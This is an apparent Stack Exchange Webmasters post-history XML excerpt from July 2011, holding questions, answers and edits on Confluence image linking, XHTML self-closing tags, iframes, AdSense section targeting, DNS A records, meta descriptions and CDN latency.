  <row Id="41356" PostHistoryTypeId="2" PostId="17219" RevisionGUID="4d7436f5-6024-4f7e-8149-233203a6befa" CreationDate="2011-07-22T08:06:52.580" UserId="1643" Text="Split the diagram into tiles (separate images), so that each clickable region is a separate tile (and the remaining tiles fill in the gaps). Then put all the tiles on the same page. You'll have to experiment to see if Confluence puts them together how you want. Hopefully they will wrap at the right place so that all the images looks like the original. Then put links around the clickable regions - http://confluence.atlassian.com/display/DOC/Linking+an+Image." />
  <row Id="41357" PostHistoryTypeId="2" PostId="17220" RevisionGUID="19b4af51-5f81-44fe-befa-0fae27f5319f" CreationDate="2011-07-22T08:13:24.743" UserId="1643" Text="I would suggest that you use HTML and CSS for mocking up. There's nothing like the real thing. Even if someone were to develop a tool I think it unlikely they would keep updating it to match the changes is the (now frequently) updated browsers. &#xD;&#xA;&#xD;&#xA;Of course you don't want to spend too much time on developing alternatives that may get thrown away, so doing as little as you can get away with is necessary - so placeholder images, maybe just outline boxes for some components. You asked about a webapp - so jsfiddle.net might be an easy way of doing work without worry too much about fiddling with files, but it does mean editing the raw code and not using Dreamweaver.&#xD;&#xA;&#xD;&#xA;The trouble is it needs a different set of skills for the designers which may or may not be an option." />
  <row Id="41358" PostHistoryTypeId="5" PostId="17200" RevisionGUID="1915a796-0e8a-4a8f-8e0c-6564f302a426" CreationDate="2011-07-22T08:17:46.753" UserId="1643" Comment="Fixed typo" Text="&gt; I remember writing many a webpage without using / in the tag.&#xD;&#xA;&#xD;&#xA;I have great news for you!  You *don't need no steenking* / any longer.  Again, I mean.&#xD;&#xA;&#xD;&#xA;Why?&#xD;&#xA;&#xD;&#xA;Because ... &#xD;&#xA;&#xD;&#xA;&gt; What changed?&#xD;&#xA;&#xD;&#xA;[XHTML](http://en.wikipedia.org/wiki/XHTML), an implementation HTML serialized as XML.  XML has a very strict set of syntax requirements.  One of those requirements is that you can't leave a tag open.  The syntax `&lt;tag/&gt;` is called a *self-closing* tag, in that it opens itself and closes itself at once.&#xD;&#xA;&#xD;&#xA;&gt; Also, is the space &quot;required?&quot;&#xD;&#xA;&#xD;&#xA;One of the more interesting things about XHTML is that it's *kind of* backwards compatible with HTML.  You can throw a legal XHTML document at an HTML parser and it *should* be able to make sense out of it.  However, not all HTML parsers can do so.  Old, old, prehistoric, no-longer-used versions of Netscape and other browsers would see the self-closed `&lt;br/&gt;` tag not as a `br`, but as a tag named `br/`, which is bogus.  Putting a space before the forward slash became best practice.&#xD;&#xA;&#xD;&#xA;There's a fatal flaw with XHTML.  Because it requires the XML parsing rules, that also means it requires the XML *error handling* rules, which mandate that parsing halt immediately upon a syntax error.  In other words, if there's a single parse error in the document, the browser *must not* show the document to the user.&#xD;&#xA;&#xD;&#xA;That's kind of a show-stopper.  XHTML *served as XML* never caught on because some browser vendors (like Microsoft) refused to add support due to the must-die-immediately nature of error handling.&#xD;&#xA;&#xD;&#xA;XHTML still caught on because it was full of awesome best practices, even if the documents didn't end up being served as XML.&#xD;&#xA;&#xD;&#xA;Now, earlier I said that you don't need it any longer.  That is true for both HTML4 and the upcoming [HTML5](http://en.wikipedia.org/wiki/HTML5).  They've gone through the effort of actually specifying how HTML5 should be parsed now, and that forward slash is going to be considered an error.  Thankfully [XHTML5 is a thing](http://en.wikipedia.org/wiki/XHTML#XHTML5), and if you really want to use the XML syntax rules instead of the HTML5 syntax rules, you can go right ahead." />
  <row Id="41359" PostHistoryTypeId="2" PostId="17221" RevisionGUID="0a708a8d-4c82-4466-8f66-c3dda117b289" CreationDate="2011-07-22T08:18:41.697" UserId="8935" Text="I have using  a single Google account and using that I created Google webmasters account so my website uses single User account access all the service Provided by The google like adwords,adsense,webtools, google Map etc  ..will this increases trust of My Website ...??" />
  <row Id="41360" PostHistoryTypeId="1" PostId="17221" RevisionGUID="0a708a8d-4c82-4466-8f66-c3dda117b289" CreationDate="2011-07-22T08:18:41.697" UserId="8935" Text="Using All the Google Web tools will boost Trust of a website or will Hlep SEO ?" />
  <row Id="41361" PostHistoryTypeId="3" PostId="17221" RevisionGUID="0a708a8d-4c82-4466-8f66-c3dda117b289" CreationDate="2011-07-22T08:18:41.697" UserId="8935" Text="&lt;seo&gt;&lt;google-search&gt;" />
  <row Id="41362" PostHistoryTypeId="2" PostId="17222" RevisionGUID="2d7bc3af-7274-41e1-a90b-eea51b9a5802" CreationDate="2011-07-22T08:19:36.830" UserId="4424" Text="I am thinking of ways of adding a &quot;chat bar&quot; onto websites. One idea that I had works like this: &#xD;&#xA;&#xD;&#xA;* random site(e.g.): youtube.com/video1&#xD;&#xA;* w/ &quot;chat bar&quot; attached: chatbar.com/youtube-video1&#xD;&#xA;&#xD;&#xA;So basically youtube.com/video1 will be loaded by my webpage (with the &quot;chat bar&quot;). I think google image re&#xD;&#xA;&#xD;&#xA;Is this even possible? (I'm pretty sure good does something similar when a user clicks a link from image search results) Point me in the right direction.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="41363" PostHistoryTypeId="1" PostId="17222" RevisionGUID="2d7bc3af-7274-41e1-a90b-eea51b9a5802" CreationDate="2011-07-22T08:19:36.830" UserId="4424" Text="Loading one webpage from another webpage" />
  <row Id="41364" PostHistoryTypeId="3" PostId="17222" RevisionGUID="2d7bc3af-7274-41e1-a90b-eea51b9a5802" CreationDate="2011-07-22T08:19:36.830" UserId="4424" Text="&lt;web-development&gt;&lt;websites&gt;" />
  <row Id="41365" PostHistoryTypeId="2" PostId="17223" RevisionGUID="303951a6-385a-4f2d-8578-fd1279d7dd11" CreationDate="2011-07-22T08:24:09.680" UserId="1643" Text="You can use an IFRAME to put another web page into yours. You won't need to do that with Youtube as you can embed it in your page. (Look on youtube for the embed option under sharing.)&#xD;&#xA;&#xD;&#xA;You use an IFRAME like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;iframe src=&quot;chatbar.com/youtube-video1&quot; width=&quot;xxx&quot; height=&quot;yyy&quot;&gt;&#xD;&#xA;    &lt;/iframe&gt;&#xD;&#xA;&#xD;&#xA;Where xxx and yyy are the size you want it.&#xD;&#xA;" />
  <row Id="41369" PostHistoryTypeId="2" PostId="17225" RevisionGUID="a518a744-9bbe-4044-8806-862ffb7c0dbc" CreationDate="2011-07-22T08:31:04.183" UserId="1643" Text="I would have thought this question was asked before, but I can't find it. I also can't find Google's definitive answer on the subject. However I'm pretty sure that the answer is no. If the answer was yes, then people would do all those things to increase their ranking and the quality of search results would go down, which wouldn't help Google in the long run.&#xD;&#xA;&#xD;&#xA;The tools provided by Webmaster Tools can help you increase the quality and relevance of your site, but just signing up for it won't do that - you have to put in the work to use the tools." />
  <row Id="41370" PostHistoryTypeId="5" PostId="17221" RevisionGUID="3423af74-5389-43de-9626-03306b488013" CreationDate="2011-07-22T08:39:57.623" UserId="1643" Comment="fixed typos" Text="I have using a single Google account and using that I created Google webmasters account so my website uses single User account access all the service provided by The google like adwords, adsense,webtools, google Map etc.  Will this increases trust of my website?" />
  <row Id="41371" PostHistoryTypeId="4" PostId="17221" RevisionGUID="3423af74-5389-43de-9626-03306b488013" CreationDate="2011-07-22T08:39:57.623" UserId="1643" Comment="fixed typos" Text="Will using all the Google web tools boost trust of a website or help SEO ?" />
  <row Id="41372" PostHistoryTypeId="6" PostId="17221" RevisionGUID="3423af74-5389-43de-9626-03306b488013" CreationDate="2011-07-22T08:39:57.623" UserId="1643" Comment="fixed typos" Text="&lt;seo&gt;&lt;google&gt;&lt;google-search&gt;" />
  <row Id="41373" PostHistoryTypeId="5" PostId="17209" RevisionGUID="981d4034-290c-445d-8a0c-764e0eb71810" CreationDate="2011-07-22T08:44:17.407" UserId="7232" Comment="added 81 characters in body" Text="I am setting up a Wiki in Confluence v3.5.1  &#xD;&#xA;I have added a visio diagram (JPG) to a page (this diagram will take up most of the page)  &#xD;&#xA;- This diagram depicts the workflow between developers and support and clients.  &#xD;&#xA;&#xD;&#xA;I envisage users being able to click on different parts of the diagram and it to open up child pages with more details about that particular process (with videos on 'how-to' do that specific task, like log issues in Jira)&#xD;&#xA;&#xD;&#xA;However, from what I can see, there is no way from the Confluence editor to add multiple links to the one image, right?  I looked at [Anchors][1], but this does not look like it will do the job.&#xD;&#xA;&#xD;&#xA;So, what is the best option?  &#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;I remember Dreamweaver having these sorts of tools built in, and there appears to be other [utilities][3] that can help put in [image map HTML tags][4], but I cannot see a way of easily editing the HTML in Confluence editor.  Also worried about the headache this could cause with managing future changes of the page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://confluence.atlassian.com/display/DOC/Working+with+Anchors#WorkingwithAnchors-Examples&#xD;&#xA;  [2]: http://i.stack.imgur.com/dJyTi.jpg&#xD;&#xA;  [3]: http://www.onextrapixel.com/2009/04/30/how-to-create-multiple-links-on-a-single-image-with-image-map/&#xD;&#xA;  [4]: http://www.w3schools.com/tags/tag_map.asp" />
  <row Id="41374" PostHistoryTypeId="2" PostId="17226" RevisionGUID="b19b4020-99de-4947-8017-0087c1f9242b" CreationDate="2011-07-22T09:10:08.690" UserId="8557" Text="In my website, I wan't adsense crawler to not consider certain parts of the HTML. Is there any snippet I can use. The reason is I am using a plugin from an external provider and as soon as I installed that plugin, adsense stopped showing relevant ads and started showing ads related to that plugin.&#xD;&#xA;&#xD;&#xA;    &lt;!--Adsense Should Crawl --&gt;&#xD;&#xA;        My Content&#xD;&#xA;    &lt;!--Adsense Should Crawl --&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;!--Adsense Should NOT Crawl --&gt;&#xD;&#xA;        Private Content&#xD;&#xA;    &lt;!--Adsense Should NOT Crawl --&gt;" />
  <row Id="41375" PostHistoryTypeId="1" PostId="17226" RevisionGUID="b19b4020-99de-4947-8017-0087c1f9242b" CreationDate="2011-07-22T09:10:08.690" UserId="8557" Text="Preventing Adsense Crawling Specific Regions of the Site" />
  <row Id="41376" PostHistoryTypeId="3" PostId="17226" RevisionGUID="b19b4020-99de-4947-8017-0087c1f9242b" CreationDate="2011-07-22T09:10:08.690" UserId="8557" Text="&lt;google-adsense&gt;&lt;google-crawlers&gt;" />
  <row Id="41377" PostHistoryTypeId="2" PostId="17227" RevisionGUID="525aaa33-883c-4057-911a-d7bd8bd7901d" CreationDate="2011-07-22T09:14:07.500" UserId="4502" Text="Basically, no:&#xD;&#xA;&#xD;&#xA;&gt; Verification doesn't affect PageRank or affect your site's performance in Google's search results. &#xD;&#xA;&#xD;&#xA;–from the Webmaster Tools &quot;&lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=34592&amp;from=35181&amp;rd=1&quot;&gt;adding a site&lt;/a&gt;&quot; page." />
  <row Id="41378" PostHistoryTypeId="2" PostId="17228" RevisionGUID="ca50a96f-85c3-46f2-80e1-286c2484c3f2" CreationDate="2011-07-22T09:17:27.607" UserId="4502" Text="You can do this with &lt;a href=&quot;http://www.google.com/adsense/support/bin/answer.py?answer=23168&quot;&gt;section targeting&lt;/a&gt;:&#xD;&#xA;&#xD;&#xA;    &lt;!-- google_ad_section_start(weight=ignore) --&gt;&#xD;&#xA;    [stuff to ignore here]&#xD;&#xA;    &lt;!-- google_ad_section_end --&gt;" />
  <row Id="41379" PostHistoryTypeId="2" PostId="17229" RevisionGUID="23b4d0c3-24d0-4f3a-bd34-0d07eab5c2b5" CreationDate="2011-07-22T09:27:55.567" UserId="8926" Text="I cannut understand the part with many IP addresses. When I navigate to DNS settings, I can find out one spot where I can put one IP in GoDaddy DNS manager. What does the instructions mean here with many IPs. I have successfully done this once with Google Sites but now I am confused how to do it with Google Apps (Standard edition, free version). I am just trying to get http://www.mysite.com and http://mysite.com working.&#xD;&#xA;&#xD;&#xA;&gt; 1. Navigate to your DNS Management page. i.e. Domain Management,&#xD;&#xA;&gt; Advanced Settings.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 2. Locate the A record settings and create a new A record.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 3. Enter a value for the host name. For some domain hosts, the value&#xD;&#xA;&gt; '@' corresponds to the naked domain.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 4. Enter the following IP addresses as the destination value:&#xD;&#xA;&gt; &#xD;&#xA;&gt; 216.239.32.20&#xD;&#xA;&gt;&#xD;&#xA;&gt; 216.239.34.20&#xD;&#xA;&gt;&#xD;&#xA;&gt; 216.239.36.20&#xD;&#xA;&gt;&#xD;&#xA;&gt; 216.239.38.20&#xD;&#xA;&gt; &#xD;&#xA;&gt; 5. Save changes with your domain host.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 6. Click &quot;I've completed these steps&quot; below." />
  <row Id="41380" PostHistoryTypeId="1" PostId="17229" RevisionGUID="23b4d0c3-24d0-4f3a-bd34-0d07eab5c2b5" CreationDate="2011-07-22T09:27:55.567" UserId="8926" Text="How to Change A-records with GoDaddy and Google Apps?" />
  <row Id="41381" PostHistoryTypeId="3" PostId="17229" RevisionGUID="23b4d0c3-24d0-4f3a-bd34-0d07eab5c2b5" CreationDate="2011-07-22T09:27:55.567" UserId="8926" Text="&lt;redirects&gt;&lt;google-apps&gt;" />
  <row Id="41382" PostHistoryTypeId="25" PostId="17221" RevisionGUID="7ccd632b-a96d-452b-994f-1f9d2712a7f1" CreationDate="2011-07-22T09:31:56.330" Comment="http://twitter.com/#!/StackWebmasters/status/94338879204769792" />
  <row Id="41383" PostHistoryTypeId="2" PostId="17230" RevisionGUID="70e7db94-67cd-42b4-91f4-babb5e7d2577" CreationDate="2011-07-22T10:32:12.913" UserId="8687" Text="Google adsense displays adds relevant for the viewer. You maybe seeing different adds from those that your web site users see. One feature I've noticed recently is that after visiting certain web pages, all the adverts on every page I visit suddenly become adverts for that site. So you might be seeing adverts for that plug-in because you visited that plug-in's page, not because of the website content.&#xD;&#xA;&#xD;&#xA;Try clearing your browser data including cookies and see if the adverts change. Killing the cookies should remove googles stored data about you and ensure that you only see adverts based on the page content." />
  <row Id="41384" PostHistoryTypeId="17" PostId="17231" RevisionGUID="e964d8f6-5f01-458d-8dbf-701a80036d7c" CreationDate="2011-07-22T11:22:06.800" UserId="-1" Comment="from http://stackoverflow.com/questions/6775844/pdf-print-e-mail-icons-in-custom-component-in-joomla" Text="" />
  <row Id="41385" PostHistoryTypeId="2" PostId="17231" RevisionGUID="916d1456-1ab3-42bf-82cb-2a71696f0c3b" CreationDate="2011-07-21T12:13:48.043" UserDisplayName="Mikey" Text="I'm trying to add PDF/Print/E-mail icon to my component. The problem is I don't know how.. I search google, found nice articles and discussions, but still can't figure out - What, Where and How to integrate that this functionality would work withing my custom component. &#xD;&#xA;&#xD;&#xA;If anyone has any ideas, where to start from, which files I need to include and where, please tell me :)&#xD;&#xA;&#xD;&#xA;I'd really appreciate :)&#xD;&#xA;&#xD;&#xA;maybe there's some articles or book that in details explains the process (step by step)" />
  <row Id="41386" PostHistoryTypeId="1" PostId="17231" RevisionGUID="916d1456-1ab3-42bf-82cb-2a71696f0c3b" CreationDate="2011-07-21T12:13:48.043" UserDisplayName="Mikey" Text="PDF/Print/E-mail icons in custom component in Joomla" />
  <row Id="41387" PostHistoryTypeId="3" PostId="17231" RevisionGUID="916d1456-1ab3-42bf-82cb-2a71696f0c3b" CreationDate="2011-07-21T12:13:48.043" UserDisplayName="Mikey" Text="&lt;joomla&gt;" />
  <row Id="41388" PostHistoryTypeId="2" PostId="17232" RevisionGUID="d5d6e237-b39e-401d-a053-e4f9818ce11c" CreationDate="2011-07-22T11:35:30.030" UserId="9122" Text="I have been blogging from the past three years. And one thing that I didn't care about was to add Meta Description for every page. I was, unfortunately, fallen for the &quot;Google doesn't care about Meta Descriptions&quot; trap, and recently did I realize that adding a short, concise description wouldn't hurt. Plus this would bring in greater visibility/CTR from the Search Engine Result Pages.&#xD;&#xA;&#xD;&#xA;Now, I have around 1000 pages of content spread across my site. I was looking for a plugin -- as my site is hosted on WordPress -- that could help me bulk edit/add Meta Descriptions. I couldn't find any; however there is plugin which promised to mass edit MD, but the thing is, because I use Yoast SEO Plugin, I can use this plugin to mass edit excerpts -- not MD.&#xD;&#xA;&#xD;&#xA;I asked the author of the plugin if it's alright to replace MD with excerpts, and he said no: http://foliovision.com/seo-tools/wordpress/plugins/foliopress-descriptions&#xD;&#xA;&#xD;&#xA;So, is replacing the Meta Description string with Excerpts a bad idea? &#xD;&#xA;&#xD;&#xA;Any help is highly appreciated." />
  <row Id="41389" PostHistoryTypeId="1" PostId="17232" RevisionGUID="d5d6e237-b39e-401d-a053-e4f9818ce11c" CreationDate="2011-07-22T11:35:30.030" UserId="9122" Text="Using Excerpts as Meta Descriptions?" />
  <row Id="41390" PostHistoryTypeId="3" PostId="17232" RevisionGUID="d5d6e237-b39e-401d-a053-e4f9818ce11c" CreationDate="2011-07-22T11:35:30.030" UserId="9122" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;blog&gt;&lt;meta-description&gt;" />
  <row Id="41391" PostHistoryTypeId="5" PostId="17225" RevisionGUID="41736da9-9e18-43b4-96d6-d1f61572bc1c" CreationDate="2011-07-22T11:55:21.057" UserId="1643" Comment="added 52 characters in body" Text="I would have thought this question was asked before, but I can't find it. I also can't find Google's definitive answer on the subject. (Update - see Su's answer for where they say that.) However I'm pretty sure that the answer is no. If the answer was yes, then people would do all those things to increase their ranking and the quality of search results would go down, which wouldn't help Google in the long run.&#xD;&#xA;&#xD;&#xA;The tools provided by Webmaster Tools can help you increase the quality and relevance of your site, but just signing up for it won't do that - you have to put in the work to use the tools." />
  <row Id="41392" PostHistoryTypeId="25" PostId="17232" RevisionGUID="87cd3a4b-621f-474e-a3d0-82fff216ebb2" CreationDate="2011-07-22T12:31:55.737" Comment="http://twitter.com/#!/StackWebmasters/status/94384175444008960" />
  <row Id="41393" PostHistoryTypeId="2" PostId="17233" RevisionGUID="0396db66-e2e6-4936-b8cd-de99b6556a76" CreationDate="2011-07-22T12:43:38.673" UserId="5727" Text="Take a recent question:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/6479771/properties-of-inner-exception-are-disposed&#xD;&#xA;&#xD;&#xA;Instead of having an integer, if we base 36 encode the question ID we get `3uvtn`, cutting the length of the integer by 2:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/3UVTN/properties-of-inner-exception-are-disposed&#xD;&#xA;&#xD;&#xA;The benefits seem a lot more worthwhile on smaller numbers:&#xD;&#xA;&#xD;&#xA;http://www.example.com/forum/25352/my-friendly-url&#xD;&#xA;&#xD;&#xA;to:&#xD;&#xA;&#xD;&#xA;http://www.example.com/forum/JK8/my-friendly-url&#xD;&#xA;&#xD;&#xA;This is more of a theoretical/curiosity question than one I'm seriously considering implementing.  Thoughts?" />
  <row Id="41394" PostHistoryTypeId="1" PostId="17233" RevisionGUID="0396db66-e2e6-4936-b8cd-de99b6556a76" CreationDate="2011-07-22T12:43:38.673" UserId="5727" Text="SEO - reducing URL length" />
  <row Id="41395" PostHistoryTypeId="3" PostId="17233" RevisionGUID="0396db66-e2e6-4936-b8cd-de99b6556a76" CreationDate="2011-07-22T12:43:38.673" UserId="5727" Text="&lt;seo&gt;&lt;url&gt;&lt;url-rewriting&gt;&lt;url-shorteners&gt;" />
  <row Id="41396" PostHistoryTypeId="2" PostId="17234" RevisionGUID="88787a4d-c1f1-4922-881f-6fa2164709b0" CreationDate="2011-07-22T12:45:10.353" UserId="9124" Text="No, but by using all the available tools you will be able to diagnose any issues on the site, which can help you boost your site's performance over time." />
  <row Id="41397" PostHistoryTypeId="2" PostId="17235" RevisionGUID="f76aeb4f-8252-46ab-a834-0884eadd6148" CreationDate="2011-07-22T12:47:01.303" UserId="7436" Text="Every time I navigate to a different page I have to reselect the language.  Is there a way to get around this?" />
  <row Id="41398" PostHistoryTypeId="1" PostId="17235" RevisionGUID="f76aeb4f-8252-46ab-a834-0884eadd6148" CreationDate="2011-07-22T12:47:01.303" UserId="7436" Text="I've added the code for google translate to my site. How can I make it stay selected to the right language between pages?" />
  <row Id="41399" PostHistoryTypeId="3" PostId="17235" RevisionGUID="f76aeb4f-8252-46ab-a834-0884eadd6148" CreationDate="2011-07-22T12:47:01.303" UserId="7436" Text="&lt;language&gt;&lt;google-translate&gt;" />
  <row Id="41400" PostHistoryTypeId="2" PostId="17236" RevisionGUID="198d897f-c3d1-4a00-9a50-5bb05f05cd8a" CreationDate="2011-07-22T12:48:19.267" UserId="9123" Text="Not a bad idea at all, since your description becomes unique for each URL. Just make sure that the description (or your excerpt) is max. 160 characters long.&#xD;&#xA;&#xD;&#xA;Check out the plugin &quot;Ultimate SEO&quot;. That plugin has an option to mass edit meta tags with predefined values, such as {excerpt}, {blogname}, etc. on the fly. no need for you to manually edit each excerpt, etc." />
  <row Id="41401" PostHistoryTypeId="2" PostId="17237" RevisionGUID="d8690f7f-db75-4a31-81a2-3d764c54766d" CreationDate="2011-07-22T13:22:17.653" UserId="9124" Text="Shorter URLs don't have any benefit in achieving rankings in Google - if the URL is under 1024 characters you'll be fine - but it can have a big impact on the click-through rate from Google SERPs to your site. Especially now that URLs are shown directly below the page title in Google's search snippet.&#xD;&#xA;&#xD;&#xA;So yes anything you can do to make your URL a wee bit shorter, but maintaining its human-readability, is a good thing." />
  <row Id="41402" PostHistoryTypeId="5" PostId="17211" RevisionGUID="61f28d20-4545-493e-a6b7-aab79ca95979" CreationDate="2011-07-22T14:03:10.617" UserId="9089" Comment="deleted 58 characters in body" Text="Designers in a company I work for use InDesign and Visio for creating web-designs. All our websites have fluid layouts, and sometimes there are things like widgets or complex blocks on a page, and you can't say for sure how it should behave when the browser is resized.&#xD;&#xA;&#xD;&#xA;All I get is a 'picture'. Static, fixed picture. Is there a software or webapp for creating _fluid_ designs?" />
  <row Id="41403" PostHistoryTypeId="2" PostId="17238" RevisionGUID="42b8faad-1c82-432b-b95e-46fcb26c4188" CreationDate="2011-07-22T14:33:09.160" UserId="8935" Text="i have found out that **Adobe  Dreamveiwer CS5  doesn't supoort FTP server** which  has  **Explicit FTP OVER TLS Type** Connection . and searched Adobe Forum and Confirmed that the feature yet to Implement in the Dreamviwer. I tried NOTEPAD++  but it doesn't have  good  ** WYSIWYG**  feature.&#xD;&#xA;&#xD;&#xA;I want to edit my site in Real time so that i keep my site active but my ftp server doesn't allow normal Connection   ...  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="41404" PostHistoryTypeId="1" PostId="17238" RevisionGUID="42b8faad-1c82-432b-b95e-46fcb26c4188" CreationDate="2011-07-22T14:33:09.160" UserId="8935" Text="Best Web designing Software with realtime online editing supported by Explicit FTP OVER TLS ?" />
  <row Id="41405" PostHistoryTypeId="3" PostId="17238" RevisionGUID="42b8faad-1c82-432b-b95e-46fcb26c4188" CreationDate="2011-07-22T14:33:09.160" UserId="8935" Text="&lt;html&gt;&lt;website-design&gt;&lt;webserver&gt;&lt;ftp&gt;" />
  <row Id="41406" PostHistoryTypeId="5" PostId="17238" RevisionGUID="cb124ad8-fee0-44c0-af8c-b81202d56b4f" CreationDate="2011-07-22T14:41:25.377" UserId="8935" Comment="added 519 characters in body" Text="i have found out that **Adobe  Dreamveiwer CS5  doesn't supoort FTP server** which  has  **Explicit FTP OVER TLS Type** Connection . and searched Adobe Forum and Confirmed that the feature yet to Implement in the Dreamviwer. I tried NOTEPAD++  but it doesn't have  good  ** WYSIWYG**  feature.&#xD;&#xA;&#xD;&#xA;I want to edit my site in Real time so that i keep my site active but my ftp server doesn't allow normal Connection   ...  &#xD;&#xA;&#xD;&#xA;My Problem is very simple, &#xD;&#xA;&#xD;&#xA; its showing error if tried to load files to Adobe Dreamweaver  from FTP server which has Explicit FTP OVER TLS Type Connection. &#xD;&#xA;Connecting FTP server shoing Error as i already mentioned this options is yet adopt by ADOBE .&#xD;&#xA;and so we can't download or upload the edited File directly from Dreamweaver to FTP server   vice versa .but this option is available in Notepad++ editor .  so is there any editors available which support FTP connection with  Explicit FTP OVER TLS Type connection" />
  <row Id="41407" PostHistoryTypeId="2" PostId="17239" RevisionGUID="fff8d53d-aecc-4b2c-84fa-d882a18a6c45" CreationDate="2011-07-22T14:45:26.857" UserId="9123" Text="I'm afraid this is not a question easily answered. I would seriously think about talking to some CDN service (like Akamai). They usually have good solutions to streaming live TV to larger audiences, but that will come with a price.&#xD;&#xA;&#xD;&#xA;Another client of mine was streaming a very low quality TV stream at 320kbps for approx. 200-500 (peak) viewers and even with a 90/10 cutoff (where the top 10 percent are not calculated) the streaming costs are astronomical!&#xD;&#xA;&#xD;&#xA;To host the stream, you typically have a server located at the source of the TV stream, which feeds the RSTP straight into a preconfigured CDN server. Worst case is, if you happen to not be able to create that stream yourself, you would need to set one up, rent or purchase on. Just make sure that the feeding server has enough bandwidth to feed the signal once and protect the server from direct access (only the CDN being able to access the stream).&#xD;&#xA;&#xD;&#xA;Seriously, talk to a CDN provider!" />
  <row Id="41408" PostHistoryTypeId="2" PostId="17240" RevisionGUID="86d0264e-3f10-40b2-9288-f6daa7d5773f" CreationDate="2011-07-22T14:55:42.353" UserId="6776" Text="I've an idea and just want suggestions and comments about it.&#xD;&#xA;&#xD;&#xA;I'm launching an free article directory, which as usual will allow to have author's dofollow backlinks.&#xD;&#xA;&#xD;&#xA;How do I get good articles?&#xD;&#xA;&#xD;&#xA;Can I contact the authors of articles published in other article directories and ask their permission to allow me to republish the same article? &#xD;&#xA;" />
  <row Id="41409" PostHistoryTypeId="1" PostId="17240" RevisionGUID="86d0264e-3f10-40b2-9288-f6daa7d5773f" CreationDate="2011-07-22T14:55:42.353" UserId="6776" Text="How to collect articles for my new Article Directory" />
  <row Id="41410" PostHistoryTypeId="3" PostId="17240" RevisionGUID="86d0264e-3f10-40b2-9288-f6daa7d5773f" CreationDate="2011-07-22T14:55:42.353" UserId="6776" Text="&lt;website-design&gt;&lt;websites&gt;&lt;copyright&gt;" />
  <row Id="41411" PostHistoryTypeId="17" PostId="17241" RevisionGUID="b6273d4f-5a14-48b4-89f7-cb44907a626c" CreationDate="2011-07-22T15:02:30.033" UserId="-1" Comment="from http://stackoverflow.com/questions/6787704/when-and-when-not-to-use-a-cdn" Text="" />
  <row Id="41412" PostHistoryTypeId="2" PostId="17242" RevisionGUID="9ed4027e-8e57-4772-b539-22005c4f7470" CreationDate="2011-07-22T09:34:38.793" UserDisplayName="Malvolio" Text="An issue might be DNS or `keep-alive` -- that is, the browser already has the IP address for *your* server and has a connection open to it, whereas it has to resolve the CDN's server's name and then open a new connection there, and one of those or both constitute the delay you're seeing.&#xD;&#xA;&#xD;&#xA;Spriting, although still a good idea, wouldn't help those problems.  Indeed, no solution comes to mind.  The only comfort is that half-second delay wouldn't get much longer if you had a thousand images (and CSS files and JS files and whatever other static files you needed) and wouldn't put any more stress on your origin server if a thousand more users hit it." />
  <row Id="41413" PostHistoryTypeId="2" PostId="17241" RevisionGUID="ef94d051-b89f-42e8-930e-77207d311955" CreationDate="2011-07-22T08:53:24.947" UserDisplayName="Dan" Text="I'm working on a web-application that loads a couple of small gif images onto the screen. I'm using a relative path, which means they are loaded from the same web server that serves the php page. The operation is instantaneous, and I'm on a different continent than the web server.&#xD;&#xA;&#xD;&#xA;I just tested a CDN network for this (Cloudfront), thinking that moving static files closer to the user is a great idea. However, all of these files now take a half second or so to be rendered on the screen. I now have to use a absolute path, of course (https://xyzvf.cloufront.net/images/)&#xD;&#xA;&#xD;&#xA;Why is that? Is the absolute path a problem? I'm reducing the HTTP requests to my own server which is a good thing, but that delay is annoying. Isn't CDN suited for this?" />
  <row Id="41414" PostHistoryTypeId="1" PostId="17241" RevisionGUID="ef94d051-b89f-42e8-930e-77207d311955" CreationDate="2011-07-22T08:53:24.947" UserDisplayName="Dan" Text="When and when not to use a CDN" />
  <row Id="41415" PostHistoryTypeId="3" PostId="17241" RevisionGUID="ef94d051-b89f-42e8-930e-77207d311955" CreationDate="2011-07-22T08:53:24.947" UserDisplayName="Dan" Text="&lt;php&gt;&lt;javascript&gt;&lt;performance&gt;&lt;cdn&gt;" />
  <row Id="41416" PostHistoryTypeId="17" PostId="17242" RevisionGUID="67c5522e-b090-4a4e-87c8-f329cbb3e597" CreationDate="2011-07-22T15:02:30.033" UserId="-1" Comment="from http://stackoverflow.com/questions/6787704/when-and-when-not-to-use-a-cdn" Text="" />
  <row Id="41417" PostHistoryTypeId="2" PostId="17243" RevisionGUID="8f8e6924-f302-4a62-9e3c-027373860327" CreationDate="2011-07-22T15:06:17.323" UserId="5806" Text="There is a *catch-22* in there. To get more articles you have to get some good ranking. To get some good ranking, you have to have some good articles.&#xD;&#xA;&#xD;&#xA;You need to bootstrap the process then and that means creating new articles for your directory. Do not use - even with permission - articles from elsewhere or your site will not get much ranking and therefore wont attract many articles.&#xD;&#xA;&#xD;&#xA;These are just guesses, I have never done this, but you could try:&#xD;&#xA;&#xD;&#xA;- Hiring some writers from a freelance site. Given them topics and an idea of the size of articles you want.&#xD;&#xA;- Contact people with creative content that **are not** articles. Maybe someone has a book would like to write an article on the same topic. Or authors of video tutorials, etc.&#xD;&#xA;&#xD;&#xA;What I would also suggest is try to get a theme of your directory. This means that the links and contents you get will be more focused and you will have a better chance of ranking for anything." />
